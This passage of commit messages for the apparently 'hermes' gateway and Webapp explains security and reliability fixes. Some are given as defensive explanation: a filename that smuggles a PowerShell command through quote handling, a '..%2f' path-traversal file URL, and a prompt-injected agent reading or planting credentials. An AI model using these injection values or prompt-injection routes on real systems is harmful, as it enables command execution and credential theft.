/api/events, /api/pty, /api/console, the audio streams, plugin sockets)
after `hermes webapp --sign-out`, untracked by sign-out.

The leg now runs the same check: on the gateway's Webapp behind the gate
only a token this listener gave a native app's sign-in opens a socket on
its own; the standalone dashboard accepts any provider token, as on main.
_ws_request_view carries the app so the check reads its state.
Greptile: "Credential errors stop the gateway". GatewayDashboardMount.ensure()
bound the dashboard app's state (gateway_runner, ui_surface, the swapped
_SESSION_TOKEN) outside the block that rolls back a failed mount. When
browser_session_token() could not read or write the Webapp's credential
(read-only home, full disk, a file where its folder belongs), cleanup left
gateway_runner set, so the fallback to main's private listener raised
"gateway API already started" and the whole gateway failed to start.

Binding now runs inside the same rollback as the lifespan startup, and the
Webapp's unavailable reason names the file instead of claiming a port
could not be listened on.
Greptile: "Native clients reject localhost". With webapp.host: localhost the
gateway published http://localhost:<port> as its api_origin. Python discovery
(hermes_cli.gateway_runtime._endpoint) requires an IP address and native
Desktop accepts only 127.0.0.1 or [::1], so CLI, TUI and native Desktop could
not attach while the browser listener served.

The api_origin is now derived from the address the listener socket actually
bound (::1 or 127.0.0.1 for localhost, the same loopback mapping as before for
a wildcard). The browser-facing Webapp URL is unchanged.

Moved assertion (PR-only test pinning the defect):
tests/gateway/test_webapp_listener.py::test_native_clients_dial_loopback_whatever_the_browser_bind
drops the ("localhost", "localhost") row; the native origin for a localhost
bind is asserted end to end in test_webapp_listener_fallback.py.
Greptile: "Source assertions miss broken clients." The PR added an
inspect.getsource check that _session_ticket and webapp_launcher._control
contain "private_control_query(". Replace it with behaviour: the existing
foreign-uid listener test now also drives gateway_client._session_ticket()
and webapp_launcher._control() and asserts each refuses with
unsafe_control_peer before any request reaches the listener.

Mutation check: either client rewired to a raw AF_UNIX dial fails the test.
Greptile: "Native tests miss CI." Every OS-gated test this PR adds now
runs on the host it is about, where the OS lanes select it:

- test_webapp_listener_fallback: skipif(sys.platform ...) -> platforms("linux")
  / platforms("windows"); the Windows SO_EXCLUSIVEADDRUSE test was imported
  by no lane before.
- test_webapp_listener: the posix=True/False parametrize patched
  run_api._REUSE_FIXED_PORT (a faked OS flag); split into a platforms("posix")
  and a platforms("windows") test on the real listener socket, and drop the
  test that only mirrored the flag's expression.
- test_webapp_file_urls: the UNC row was pytest.skip()ped off Windows inside a
  parametrized fixture; it is now its own platforms("windows") tests, and the
  local-path tests carry platforms("linux", "windows") so the Windows lane
  runs the drive-letter case too.
- test_webapp_launch: stop patching sys.platform. _peer_is_server_user and
  _one_use_links_work take an optional platform (default sys.platform) and
  the policy tests pass it explicitly.

list_os_marked_tests.py windows: none of these files before, three after.
@teknium1's 56be810f764 makes the WebSocket upgrade's ?token= leg ask
webapp_sign_in.token_works_alone first, as the bearer header does. That commit tests /api/ws. This
one tests every socket on the Webapp's listener that takes a provider token as ?token= (/api/ws,
/api/events, /api/pub, /api/pty and both voice streams): a browser login's access token, copied out
of its cookie, opens none of them before a sign-out or after it. It also tests that a token the
listener gave a native app's sign-in opens a socket that stays open across a sign-out, as the native
app stays signed in.

token_works_alone's docstring, the module docstring, the developer guide and the Desktop guide now
name a socket's ?token= among the places the gateway refuses such a token on its own.
Signing the Webapp out has to end every grant made under the browser credential, and each kind of
grant checked that its own way: socket tickets and tracked sockets compared digests from
web_session_sockets, the cookie login's binding read the token straight from web_server, the Bot
Desktop viewer check and the file tickets each compared a digest by hand, and the sign-out verb set
the token and then called close_all() and revoke_all() itself. A new grant kind was one more place
to forget, which is how a grant outliving sign-out kept coming back.

hermes_cli/browser_credential.py now owns the credential: current(), its generation (a SHA-256
digest), is_current(generation), and rotate(), which replaces the credential and runs the revokers
registered with on_rotate(). Socket tickets, tracked sockets, Bot Desktop viewer tickets, file
tickets and the cookie login's binding record the generation when they are made and check
is_current() when they are used; the open-socket and file-ticket stores register their revokers, and
hermes webapp --sign-out calls rotate(). What signing out ends is unchanged.
The tickets a Webapp tab mints to open another window, and the one-use links hermes webapp opens,
were stored with the browser credential itself next to them, and redeeming one compared that copy
with the credential in use. Anything that could read the gateway's app state while a link was
pending found the credential there, and the check was a fourth way of asking whether a grant
outlived a sign-out.

The store now records the credential's generation from hermes_cli.browser_credential. Redeeming a
link hands over the credential through browser_credential.current_if(), which reads it once, so a
sign-out landing between the check and the answer cannot pass on the new credential to a link minted
under the old one. The sign-in binding's renewal uses the same call for the same reason.
hermes webapp --sign-out emptied the whole file-ticket store, so a download or media link minted
with any other credential (a service token, a native client's grant) stopped working along with the
browser's, though signing the browsers out is meant to leave every other credential alone.

Each file ticket now records the browser credential's generation (or none), and the revoker the
store registers with hermes_cli.browser_credential drops only the tickets whose generation is no
longer current. Links the old credential minted end as before, both from the store and at redeem.
A Webapp page minted its one-use socket tickets from three routes that did the same thing with a
different socket name: /api/webapp/gateway-ticket for /api/ws, /api/webapp/terminal-ticket for the
host terminal and /api/webapp/audio-ticket?socket= for the voice streams, each with its own copy of
the surface check, and the renderer had a helper for each.

POST /api/webapp/socket-ticket?socket= now mints them all. A table names each socket (gateway,
host-terminal, speak-stream, transcribe-stream), the surface policy that lets a surface mint it, and
whether the mint checks the profile the page will dial (the gateway socket, as before). An unknown
socket gets 400 and a surface that does not serve the socket gets 404, as before. In the renderer,
ticketedWebsocketUrl() mints the ticket and builds the URL for any of the four sockets. Main's
/api/auth/ws-ticket is unchanged. The tests, fixtures and code comments that named the old routes
now name the new one.
Two rules the Webapp needs had been applied to every surface's WebSocket gate. The loopback gate
took a one-use socket ticket before ?token=, so on the standalone dashboard and hermes serve (which
mint no such tickets) a ticket in the URL or the subprotocol was spent and refused, and a stray one
beside a valid session token refused the upgrade. Behind the sign-in gate the server's own
?internal= credential opened only /api/ws and /api/pub, so a gated dashboard refused it on
/api/events, /api/pty, /api/console, the voice streams and plugin sockets such as kanban's, where
main accepts it.

Both rules now apply only on the gateway's Webapp listener (app.state.ui_surface == "webapp"): there
the loopback gate takes the Webapp's socket tickets and the server's credential opens only the
sockets its spawned clients dial. Everywhere else the gate judges ?token= alone on loopback and
accepts ?internal= on every socket behind the sign-in gate, as main does.
After spending its one-use ticket, the launch page opened the Webapp at /#hermes-session=<credential>.
That is a new page load, so the browser stored the address, credential included, in its history,
offered it in address-bar suggestions and synced it to the user's other devices. The credential is
kept in the gateway home and opens host shells and files until hermes webapp --sign-out, so anyone
who later read that history held it.

The launch page now puts the credential in the tab's sessionStorage, under the key the Webapp reads
at boot, as the child-window page already did, and opens the Webapp's own address. The Webapp reads
its credential only from there and no longer takes one from the address or reloads for a pasted
site storage gets a message saying so instead of "already used". Live with Playwright's Chromium and
its own profile: the history now holds the launch page and / only (receipt in the lane report).
Cookies are not scoped to a port, and only the sign-in binding cookie was named for the gateway. The
login itself (hermes_session_at, _rt, _provider) kept main's names, so when a browser signed in to a
second gateway on the same hostname (another user's, or a standalone profile's on 9121) with its own
sign-in provider or provider secret, those cookies replaced the first gateway's login and the first
Webapp answered session_expired. Signing out of one in the browser cleared the other's login too.

On the Webapp's listener every sign-in cookie it sets is now named for the gateway, with the same
suffix as the binding: the access and refresh token, the provider hint, the OAuth state cookie and
the auto sign-in marker. The listener reads and clears only those names, so cookies with main's names
(the standalone dashboard's on the same hostname, or this branch's earlier builds) are left alone
and such a browser signs in again. The standalone dashboard keeps main's names. Native Desktop's
check for a cookie login on a remote gateway accepts the per-gateway names.
Under WSL2 the Windows browser reaches the gateway's loopback port through WSL's localhost relay, and
inside Linux that connection belongs to root. The gateway treated WSL as Linux: it gave hermes webapp
a launch link that only a connection owned by the gateway's user may spend, so every link was
refused, and the page told the user it "was already used or has expired. Run hermes webapp again",
which failed the same way. The loopback Webapp could not be opened from Windows at all.

The connection cannot be tied to the user there (any Windows account can reach the relayed port), so
WSL now takes the macOS path: the link is printed for the user to open by hand and spends without
the peer check. Native Linux keeps the check. Live on this machine's WSL2 (NAT): before, curl.exe from
Windows arrived as uid 0 and got 403; after, the printed link spent with 200.
The Webapp keeps its browser credential in webapp/session-token, a bare token that no redaction
pattern masks and that opens host shells and files on the loopback Webapp until hermes webapp
--sign-out. The agent's read guard did not cover webapp/, so a prompt-injected read_file returned
it, and the write guard let write_file plant a known credential or a native-app grant in
webapp/native-sign-in-tokens.json that the next gateway start honours. Media delivery sent the
credential as an attachment in its default mode. hermes profile create --clone-all removed only the
credential and copied the source gateway's native-app grants and its Web Access registration, so
the clone's Webapp accepted sign-ins made on the source.

webapp/ is now a credential directory for the read and write guards and for media delivery (whose
list must cover the guards'), --clone-all leaves the whole folder behind (the clone's gateway and
Web Access make their own), and flat installs gitignore it so the update autostash cannot sweep it.
Profile export already left it out; its test now names every file in it.
The guides and the launcher's docstring said, or implied, that on Linux and Windows the gateway
checks who redeems a one-use launch link. Only Linux does: on Windows the check returns yes for
every connection, and the link is protected because it travels only in the browser launcher's
command line, which other standard users cannot read. A reader weighing a shared Windows machine
was told the server authenticates the browser when it does not.

The peer check's docstring, the launcher's module docstring, the CLI reference and the Desktop
guide now say what each platform does: Linux checks the connection's user, Windows relies on the
launcher's private command line, and macOS, the BSDs and WSL print the link instead.
Web Access registered the Webapp's sign-in callback on the standalone dashboard's Portal client
(HERMES_DASHBOARD_OAUTH_CLIENT_ID), saved that id in .env, and `hermes dashboard register` called
back into Web Access so it would register again. If the Portal replaces a client's redirect URI on
update, turning on Web Access broke Nous sign-in on an existing `hermes dashboard` deployment.

Start now registers a client of Web Access's own (named webapp_<adjective>_<noun>) and keeps its
id, its Portal and the callback in webapp/sign-in-registration.json under the gateway home, user
only. It never sends the dashboard's client id and never writes .env. A second Start with the same
callback asks the Portal nothing; a moved callback updates Web Access's client only. While the
gateway serves the Webapp, the Nous sign-in provider uses that client, and a plugin reload keeps
it. The gateway's private listener and the standalone dashboard keep reading
HERMES_DASHBOARD_OAUTH_CLIENT_ID as on main, and a Webapp whose Nous sign-in was set up by hand
keeps the configured client. A home whose record came from an earlier build of Web Access names
the dashboard's client; its next Start registers a client of its own and leaves the dashboard's
alone. `hermes dashboard register` no longer touches Web Access's record.

The desktop guide said Start saves the client id in .env; it now says where the id lives.
The Web Access status read the webapp: block four times with two validators: the gateway's
webapp_settings, plus its own readers for the port and the public URL, which returned the raw
string. A webapp.public_url the gateway refuses (credentials, a query, a bad port) showed in the
pane as the Webapp's address, and Start in "My own URL" mode accepted URLs the gateway then
refused (a port of 0 or above 65535, an @ in the path, a space), so it registered, saved and
restarted onto a Webapp the gateway kept off.

webapp_settings now reads a present block's valid host, port and public URL whether or not it
turns the Webapp on (an invalid one reads as the default), and the status takes all of them from
that one read. Start checks the public URL with the gateway's webapp.public_url reader and then
requires https on a host other devices reach. The three extra readers are gone. The gateway's
listener is unchanged: a block that is off or unusable still binds main's private listener.
The previous change kept the Webapp's Portal client in the Nous sign-in plugin's module. Plugin
discovery imports that bundled plugin under a module name of its own
(hermes_plugins.dashboard_auth__nous), so the gateway's import of plugins.dashboard_auth.nous was
a copy discovery never ran. In a real gateway the Webapp kept signing in with
HERMES_DASHBOARD_OAUTH_CLIENT_ID, and on a home with only Web Access's client the Webapp found no
sign-in provider and fell back to the private listener. A live run of the gateway's own start
showed both; the earlier tests imported the plugin directly and passed.

The listener's client and the plugin's provider swap now live in
hermes_cli.dashboard_auth.listener_client, one module that the plugin, however it was imported,
and the gateway share. The plugin offers its swap when discovery runs it, so a plugin that
plugins.disabled keeps from loading still gives the Webapp no Nous sign-in. The tests load the
plugin the way discovery does.
@teknium1's bde2a1bfe43 undoes a bind that fails partway, so a browser credential that cannot be read
or written leaves native clients main's private listener instead of stopping the gateway. On top of
it, the mount now reads or creates the credential before it changes any app state, so there is
nothing to undo when the file is the problem.

browser_session_token raises BrowserCredentialError naming the file and the cause (a stray file or
folder at its path, a folder another user owns, a full or read-only home), and that becomes the
reason hermes webapp --status prints, where the fallback used to say "could not listen on host:port"
though the port was fine. A token file that cannot be decoded (saved as UTF-16 by an editor) is
replaced like a malformed one instead of failing the mount. hermes webapp --sign-out with no gateway
running reports the same error instead of a traceback.
A starting gateway answered its control socket for about 1.7 seconds before it registered the
Webapp's verbs, because the registration ran only after the Webapp's listener and dashboard mount
were up. In that window webapp-status got "unknown verb: 'webapp-status'". Web Access turned that into
"unavailable", and the pane's restart wait, which stops at the first answer that is not pending,
showed a Start that had worked as Unavailable with the protocol error and a Stop button.

The gateway now registers the Webapp's verbs before its control socket starts, and the runtime
reports the Webapp as "starting" until its listener settles on serving, off or unavailable. While
starting, webapp-status answers that state (the pane already keeps waiting on any state other than
serving or unavailable), and webapp-launch and webapp-sign-out refuse with "still starting": a
sign-out must not replace the stored credential while the starting listener may already hold it,
and hermes webapp --sign-out already waits for a starting gateway. hermes webapp --status says the
gateway is still starting instead of printing "Unavailable: None".
Web Access Start and Stop ran the gateway restart and the status read that follows inside the scope
that holds the config mutation lock and the skills lock. The restart spawns a process and the status
read asks the gateway's control socket (up to 5 seconds), so every other config, skills or tools
request from Desktop waited behind a Web Access change. Main's config routes write under the lock
and restart after it.

Start and Stop now write the webapp block under the config lock and release it, then ask for the
restart and read the status in the gateway profile's home scope, which takes neither lock. The
Restart route resolves the gateway profile and restarts the same way.
The Web Access routes ran each change as separate steps (plan, build, Portal registration, config
write, restart) and nothing kept two changes apart. A second Desktop window, or the pane reopened
while a first Start built, could run another: Start on the LAN in one and with an own URL in the
other left the Portal's callback on one mode and the config on the other, so Nous sign-in returned
to an address the Webapp did not serve. A Stop sent while a Start built was overwritten when the
Start finished, leaving the Webapp on the network after the user's last action was Stop, and two
Starts on a home with no Portal client yet each created a client.

The routes now hold one lock per backend process for a whole change, from the build through the
restart request, and a second change waits for the one in flight, so every change ends with the
callback, the config and the gateway on the last change asked for. The lock is polled from the
event loop, so a request cancelled while it waits never takes it.
After an upgrade the running gateway can still be the old one (a git pull, a service manager that
kept the process). It does not know the Webapp's control commands and answers "unknown verb:
'webapp-status'". hermes webapp, --status and --sign-out printed that protocol text and never named
the fix, and Web Access turned it into "Unavailable", the answer its restart wait stops on.

The Webapp's commands are now registered before the gateway's control socket answers, so an
unknown-verb answer means the gateway predates them. hermes webapp and its --status and --sign-out
say the running gateway is older than the Webapp and to run hermes gateway restart. Web Access
reports such a gateway as serving no Webapp, with that restart as the reason, so the pane offers
its Restart gateway button instead of showing the Webapp as unavailable.
hermes webapp --skip-build over a bundle that hermes update could not rebuild (or a gateway serving
another checkout's missing bundle) is refused by the gateway with "Run hermes webapp to rebuild
it." The launcher then added "after fixing them, run hermes gateway restart", which does not help:
the gateway serves a bundle as soon as it is built, and a restart keeps the stale mark, so the user
was sent round a loop. hermes webapp --status already left that line out for a missing or stale
bundle.

The refused launch now takes the same decision as --status, from one helper: the restart advice
follows only a reason that a restart applies.
The gateway reads webapp: only when it starts. After hermes config set webapp.enabled false the
running gateway kept serving the Webapp (on the LAN for a wildcard host) until hermes gateway
restart, but hermes webapp read only the config and answered "The Webapp is off. Set
webapp.enabled: true ...", while hermes webapp --status said "Serving at ..." with no hint that
the config now said off. A user who turned off network access and checked was told it was off.

With the config off, hermes webapp now asks the running gateway (without starting one) and, when it
still serves the Webapp, says so with its address and that hermes gateway restart applies the
config; it opens nothing. hermes webapp --status adds the same note after "Serving at".
The Webapp's listener binds the first address getaddrinfo gives for webapp.host. For "::" that is an
IPv6 socket, and Windows leaves such a socket IPv6-only, where Linux makes it dual-stack. On Windows
a Webapp served on "::" therefore refused every IPv4 client: a phone or laptop at
http://192.168.x.y:9120 got nothing, though the configuration guide says "0.0.0.0 or :: makes it
reachable from other machines". Its exclusive hold on the port covered IPv6 alone, so another
program could bind 0.0.0.0 on the same port and answer every IPv4 visitor, the squatting the
exclusive hold was added to stop.

The listener for "::" now clears IPV6_V6ONLY before it binds, so one socket takes both families on
every platform and the exclusive hold covers both. "::1" and IPv4 binds are unchanged.
The desktop guide listed a taken port and a missing sign-in provider as the reasons the gateway
serves native clients only and hermes webapp --status says why. A browser sign-in file in the Hermes
home that cannot be read or written now does the same instead of stopping the gateway, so the guide
names it too.
With the Webapp off, `hermes dashboard` behind its sign-in gate answered 403 to every write its own
page made through a plain-HTTP reverse proxy that forwards with the upstream's Host and no
dashboard.public_url: the browser sends no Fetch Metadata to a plain-HTTP origin, and the
cookie-origin check carried for the Webapp compared the page's Origin with the server's own URL.
Main admitted those writes, and sign-out through /auth/logout stayed a plain public path.

The check, and the sign-out's place in it, now belong to the gateway's Webapp listener only: the
surface policy gains own_origin_cookie_writes, true for the Webapp and false for the dashboard and
`hermes serve`, and the gate asks for it before refusing a cookie write. The Webapp's refusal names
webapp.public_url. Tests that pinned the check on the dashboard now run on the Webapp surface, and
the dashboard's parity is pinned in test_dashboard_auth_middleware.
The Web Access routes, the browser's file-upload staging route and the file-ticket route were
mounted on every app, so the standalone `hermes dashboard` and `hermes serve` answered them too:
any loopback dashboard tab could turn on Web Access for the gateway (writing its config and .env
and restarting it), and pastes on the dashboard met the Webapp's pre-parse body cap. Only native
Desktop's Web Access pane (on the gateway's own listener) and the Webapp's browser use them.

The surface policy gains web_access (the gateway's listener, private or Webapp) and browser_files
(the Webapp only); an app with no recorded surface reads as the gateway's listener when a gateway
runner is bound to it, else as the dashboard. Each of those routes answers 404 where its surface
does not use it, and the chat upload body cap applies only where the browser's file routes do.
Tests that reached these routes on the dashboard surface now reach them on the surface that serves
them; native Desktop's Web Access calls in tests carry a real one-use native grant per request.
A tab of the default Webapp (loopback, no sign-in gate) could turn Web Access on and put the host
on the LAN: on that listener the browser credential is the loopback session token, which the Web
Access routes accepted as the owner. A browser on another machine reaching the Webapp through
`ssh -L 9120:127.0.0.1:9120` and the printed one-use link held it too. Hiding the pane in the
browser is UI only.

Native Desktop proves itself on every request in a way a browser tab cannot: a one-use native
grant minted over the gateway's private control socket, which answers only this OS user, sent
from loopback with no Origin. The Web Access routes now require that grant and refuse every other
credential, the loopback session token included, with 403.
`hermes profile create dashboard` no longer created the `dashboard` wrapper alias, and `hermes
profile alias`, rename and import refused `dashboard`, `serve` and `webapp` with "conflicts with
a hermes subcommand". The carried server pieces had added the three names to the subcommand
list that only the alias check reads; main allowed them. A wrapper alias is its own command on
PATH and does not shadow `hermes dashboard`, `hermes serve` or `hermes webapp`, so the list is
main's again.
With the Webapp off, the dashboard's /index.html went through the bootstrap that injects the
session token and base path, where main served the built file, and every dashboard page carried a
new window.__HERMES_UI_SURFACE__ global that only the Webapp's renderer reads.

/index.html gets the bootstrap only where the surface policy keeps the session token out of HTML
(the Webapp), as the policy field says; elsewhere it is the built file again. The page names its
surface only when its host records one (the gateway's Webapp). The per-request asset directory
stays: it serves the dashboard's own dist with the same files and cache headers as main's mount.
On a host whose PTY bridge cannot load, the dashboard's /chat tab printed "Chat could not start:
Pseudo-terminal support is not installed on this host" with the advice to check the server log,
and lost main's hint that the rest of the dashboard works and where to install Hermes for chat.
The tab prints main's message again and closes 1011 as before.
Both web-server lifespans set PTY_REGISTRY._closed = False so that a lifespan starting again in
the same process (the gateway falling back from the Webapp's listener to its private one) takes
new terminals after the previous lifespan's close_all(). They now call the registry's reopen()
method, which says why; behaviour is unchanged. A test pins that a closed registry refuses spawns
until it is reopened.
The dashboard's /chat pump without a keep-alive token closed its socket with 4410 when the child
exited, where main closed it normally (1000) whether the child exited or the socket broke. Only
the dashboard's /chat uses this pump, and the Webapp does not need the change, so it closes as
on main again; the keep-alive path keeps reporting an exited child with 4410.
The terminal session code the dashboard's /chat shares with the Webapp's host terminal changed
two things on the dashboard: when another tab takes a keep-alive session over while this tab's
input waits on the PTY, the write is cancelled and the session stays alive for the new tab, which
closes this one as superseded (4409) rather than as stalled input (1013); and only the attached
tab's resize reaches the PTY. The test pins both through the /chat input pump.
Dropping a file onto a terminal types its quoted path, but the quoting only handled the plain
apostrophe of POSIX shells and PowerShell. PowerShell also reads the typographic quotes U+2018,
U+2019, U+201A and U+201B as single quotes, so a file named "a’; Start-Process calc; ’b.txt"
dragged from a cloned repo onto the Webapp's host terminal (PowerShell on Windows) or a native
PowerShell tab ran calc at the next Enter, and an ordinary "Jeff’s notes.txt" left the quote open.
fish reads \' and \\ inside single quotes, so a name holding a backslash before a quote added a
command there. cmd expands %NAME% inside double quotes before reading them, so a name holding
%PATH% typed another path, and a variable whose value holds a quote could add a command. csh and
tcsh expand !-history inside single quotes.

The drop now quotes for each of these shells: PowerShell doubles every quote it reads as a single
quote, fish escapes backslashes and quotes, cmd types each % outside the quotes as ^%, csh and
tcsh escape !, and sh, bash, zsh and other shells keep the POSIX quoting. Native Desktop shares
this code.
The Webapp stages a picked or dropped file at <profile home>/uploads/web-<hex>-<name>, and the
upload route deletes staged files older than 7 days on every later upload. file.attach copied a
pick into the session's attachments/ only when the staged file was outside the session's
workspace. Sessions start in the user's home folder unless terminal.cwd names another, and a
default profile home (~/.hermes) is inside it, so on a default install every browser pick was
referenced in place as @file:.hermes/uploads/web-...; a week later the next upload deleted it,
and resuming the chat, retrying the turn or the agent re-reading the file found nothing.

A staged upload is a temporary copy, never a workspace file: file.attach now always copies it into
attachments/, whether it arrives as the upload receipt or, on an install without an id, as the
staged path itself. Any other file inside the workspace is still referenced where it is.
The gateway reads file: URLs for /api/fs/read-text, read-data-url, download, /api/files/stream and
stream tickets by decoding the URL's path once. A %2f in the URL became a real separator after that
decode, so file:///.../docs/..%2fsecret.md read .../secret.md, a file outside the folder the URL
names; on a Windows gateway %5c did the same. The renderer and Electron already refuse such URLs
through the shared parser in apps/shared/src/file-url.ts, so only their pre-check stood in front of
the gateway. Main reads these URLs the same way.

The gateway's reader now refuses a file: URL whose path encodes a separator: %2f always, and %5c on
a Windows gateway or in a Windows URL (a UNC host or a drive letter), as the shared parser does.
The read answers 400. A %5c in a POSIX URL read on a POSIX gateway stays a backslash in the name.
HERMES_DASHBOARD_FILES_ROOT locks the dashboard's file reads to one folder. The Webapp writes a
pasted image into the profile's cache/images and a picked file into its uploads/ folder, then reads
it back through /api/fs/read-data-url to send it. When the locked root does not hold the profile
home, that read-back answered 403 "Path is outside the managed read boundary": the image showed as
attached and the send failed. The hosted /opt/data layout was unaffected, since the home is inside
that root.

The read-back now skips the locked-root check for a file directly in the profile's image cache or
among its staged uploads, the same two folders an SSH profile already reads from this host. The
sensitive-file check still applies, and every other file in the profile home stays outside the
read boundary.
PowerShell (PSReadLine) and fish ask for the cursor position when they start, and xterm sends its
reply to the shell through the same path as typed input. Main counted that reply as session
activity, so an idle tab of those shells re-saved its scrollback on every launch, which is the
growth #61572 stopped for other shells. The terminal refactor this branch carries counts only
keys, typing, composition, paste, drop and mouse input with mouse tracking on.

The test pins that: after the reply alone the saved history is unchanged, and after typing the
next output saves the session.
image.attach_bytes (native Desktop's pastes on a remote gateway), pdf.attach and file.attach refuse
a base64 payload over its cap. Since the cap moved into the base64 decoder, the refusal read
"image too large: attachment too large; size limit is 26214400 bytes": the label twice, the cap in
raw bytes and the payload's size gone, where main said "image too large (31457280 bytes; cap is
25 MB)".

The decoder now words the refusal once, as main did: "<what> too large (<n> bytes; cap is <m> MB)".
A payload refused before decoding, because its base64 text is already too long, reports the size
that text decodes to. file.attach says "attachment too large (...)" the same way.
The launch tests made the interpreter believe it was on another OS: they set sys.platform to
freebsd14, openbsd7, sunos5 or win32, and replaced the launch-link check and the browser peer check
with lambdas marked "macOS". The full-gateway fixture did the same for its macOS run. So the Windows
path of the real functions was never run on Windows (no file was on the Windows lane), and the macOS
detection only once, in one handoff test.

The two decisions take the platform as data now (a keyword defaulting to sys.platform), and
register_control_verbs takes whether launch links can be checked (None asks the host, as before).
Unmarked tests pass each platform in as data; platforms("windows") and platforms("macos") tests run
the real launch verb and handoff route on those hosts, and a platforms("linux") test runs the real
peer check on a real loopback connection, reading /proc/net/tcp. The fixture's macOS run tells the
gateway its links cannot be checked through that parameter, so the printed link is still exercised
on every host. The handoff test for printed links now asserts the peer check is never consulted.
Behaviour is unchanged.
A Webapp tab opened or reloaded on `?profile=<name>` (which is how `hermes -p work webapp` opens it,
and how every reload of a tab that switched profiles comes back) made <name> its primary profile.
The renderer sends requests for the primary profile without `profile`, but the gateway answers a
request that names no profile for the profile it runs as, on the socket and over REST alike. So on
a gateway launched as `default` the tab's live-status poll listed default's sessions, the turn the
tab was running looked gone, and after 45 quiet seconds the tab showed "Hermes ended this turn
without a reply" while the turn kept running; the transcript refresh that followed got a 404. A tab
opened on the origin's saved default had the same problem, and a bare tab on a gateway launched as
a named profile called its primary `default`.

A Webapp tab's primary is now the profile its gateway runs as, read from the page the gateway serves
(`__HERMES_DASHBOARD_PROFILE__`). The browser bridge's `getConnection()` returns that one socket
whatever profile the tab is on, and any other profile is a view of it that sends `profile` on each
request. Boot dials that socket and then selects the tab's `?profile=` (else the saved default) the
way a live switch does, so a reload still lands where the user was. Native Desktop is unchanged:
every change is behind the browser host check.

Reported with a full trace by BearHuddleston.
A live profile switch in a Webapp tab ends by writing `?profile=` into the tab's address. A bare tab
that opens on the origin's saved default now reaches that profile the same way at boot, but its
address stayed bare. Files, uploads and the terminal fall back to the address's profile whenever
the connection descriptor names none, and a reconnect of the tab's socket publishes a descriptor
that names none, so after a reconnect that tab's terminal and file reads went to the profile the
gateway runs as while the sidebar showed the saved default.

Boot now records the profile it opened the tab on, as the switch does. For a tab loaded on
`?profile=<name>` the address already says so and nothing changes.
A running turn's silence probe asks session.active_list through the session's owner route
(requestGatewayForAgent with the tab's one source), not the profile route the sidebar poll takes.
The test that pins a tab loaded on ?profile=<name> now checks that door too: its request carries
the profile, so the probe sees the turn the tab is running.
The page bootstrap names the profile the server runs as. The Webapp now depends on it: it is the
profile the tab's gateway socket and REST answer for when a request names none, and every other
profile is named on each request. The comment on the injection says so, so a change to
serving_profile_name is read with the Webapp in mind.
A turn that raised inside the gateway (e.g. the Anthropic SDK lazily
installed on first use and not yet loadable in the running backend)
committed the messaging-chat apology as the result's error. The CLI then
wrapped it as "The model request failed ... Details: Something went wrong
and I couldn't finish this reply." and cut off even the hermes logs
pointer; TUI and Desktop read the same field.

Local clients (Platform.LOCAL: CLI, TUI, Desktop) are the operator at the
host, so their committed result now carries "<ExcType>: <message>",
matching the resolution-failure path that already shows LOCAL the raw
exception. Messaging platforms keep the sanitized reply.
errors.log is written by the logging QueueListener thread, so the file can lag
the caplog records the test just asserted on. On a loaded runner the read saw
only the first warning, or no file at all, and failed main CI after #144257.
Drain the queue with hermes_logging.flush_log_queue() first, like the other
log-file tests do.

Hammered 24 runs each: origin/main 4 failures, this change 0.
A plugin listed in both plugins.enabled and plugins.disabled loaded nowhere
with only a DEBUG-level skip (#131980): no startup error, nothing in config
check, and plugins.enabled still listed it, so the surface looked enabled
while the gate silently dropped it.

The disable still wins (documented precedence), but gate_manifest now
detects the contradiction (matching either the path key or the manifest
name, as the disable check itself does) and logs a WARNING naming both
config keys; the placeholder error surfaces the conflict to introspection.

中文说明:修复 #131980 —— plugins.enabled 与 plugins.disabled 同时列出同一
插件时静默不加载(仅 DEBUG 日志)。保持 disabled 优先,但矛盾时升级为
WARNING 并指明两个配置键;占位 error 同步暴露冲突。
Such a plugin loads nowhere, and older updates left plugins in that state
when they had to turn them off. Doctor now counts it as an issue and names
the command that settles it either way.
Doctor asked its own question (exact strings in the raw selection) and missed
a plugin the loader skips under another spelling (path key in one list,
manifest name in the other). It now runs the loader's gate over the same
manifests and config read, so the two can never disagree.
The legacy-key test enabled the plugin under its new key while disabling it
under the old one; the gate now reports that overlap by name. Disable still
wins; the plain old-key disable keeps its quiet verdict.
errors.log is written by the logging QueueListener thread, so reading it right
after the warnings were emitted raced the writer: under load the file was
missing or held only the first warning. Base failed 4 of 15 load runs; with
the drain, 0 of 15.
A lazily installed SDK extra (anthropic, bedrock, ...) that the running process cannot adopt
raises "installed; restart Hermes to activate it". In the CLI-spawned `gateway run --idle-exit`
backend nothing ever restarts it: the next `hermes chat` (or the next prompt in the same session)
reattached to the same process and failed the same way until the idle window
(gateway.unmanaged_idle_exit_seconds, default 600 s) ran out.

pm.extras.ensure_import now records that pending restart (pm.environments_adopt.note_restart_pending),
and the unmanaged idle-exit watcher retires the backend within about a second once no agent work,
background work, admission, cron/kanban duty or messaging adapter holds it. Attached clients do not
hold it: they are the ones who need the fresh gateway, and they already wait out the `idle_exit`
drain and start a new owner, which boots into the new dependency generation.

Supervised gateways (systemd/launchd/Desktop's `gateway ensure`) never arm this watcher, so they
are unchanged: no self-restart without a supervisor that restarts them.
A pending restart ignored unredeemed session tickets, so a CLI that
discovered the gateway just before retirement had its first connect
refused (1013) with no rediscovery, and the retry failed instead of
reaching the fresh gateway. Attached clients still do not hold it: they
wait out the idle_exit drain and start the fresh one.
test_cron_timeout_closes_the_descendant_snapshot_fork_window read each
descendant's status the instant _run_job_script returned. SIGKILL is
asynchronous: the killed process stays in state R until the kernel
finishes tearing it down, and freeing its memory waits for a CPU on a
loaded runner. CI caught the pre-existing setsid child there
({gone, running, zombie}).

The kill was delivered. A scratch dump at the check showed the "running"
child in state R with SIGKILL pending (ShdPnd 0x100) and PF_EXITING set,
and it exited 86-233 ms later. kill_process_tree is correct.

The probe now waits up to 10 s for every recorded descendant to be gone,
a zombie or dead (the transient X state while its parent reaps it). The
children now sleep 60 s instead of 15, so a descendant the kill missed
is still alive when the wait ends and the probe still fails.

Repro: give the first child 1.5 GiB of touched memory, so its exit takes
~100-200 ms. Base fails 12/12 with CI's shape; the fixed probe fails
0/12. The fixed probe still fails when the fork-window stop+rescan is
reverted, and when snapshotted descendants are never signalled.
feat(webapp): serve the Desktop workspace from the gateway
The panel connect, the account connect and the account rename all create
the guest identity first (ensure_guest_identity). In an empty test home
that is a real HTTP mint against portal.nousresearch.com with a 5s client
timeout, so every run of these files minted live guest identities, and a
slow or refusing Portal failed them:

- slow mint: the connect reply outlives the test's 2s / 5s wait
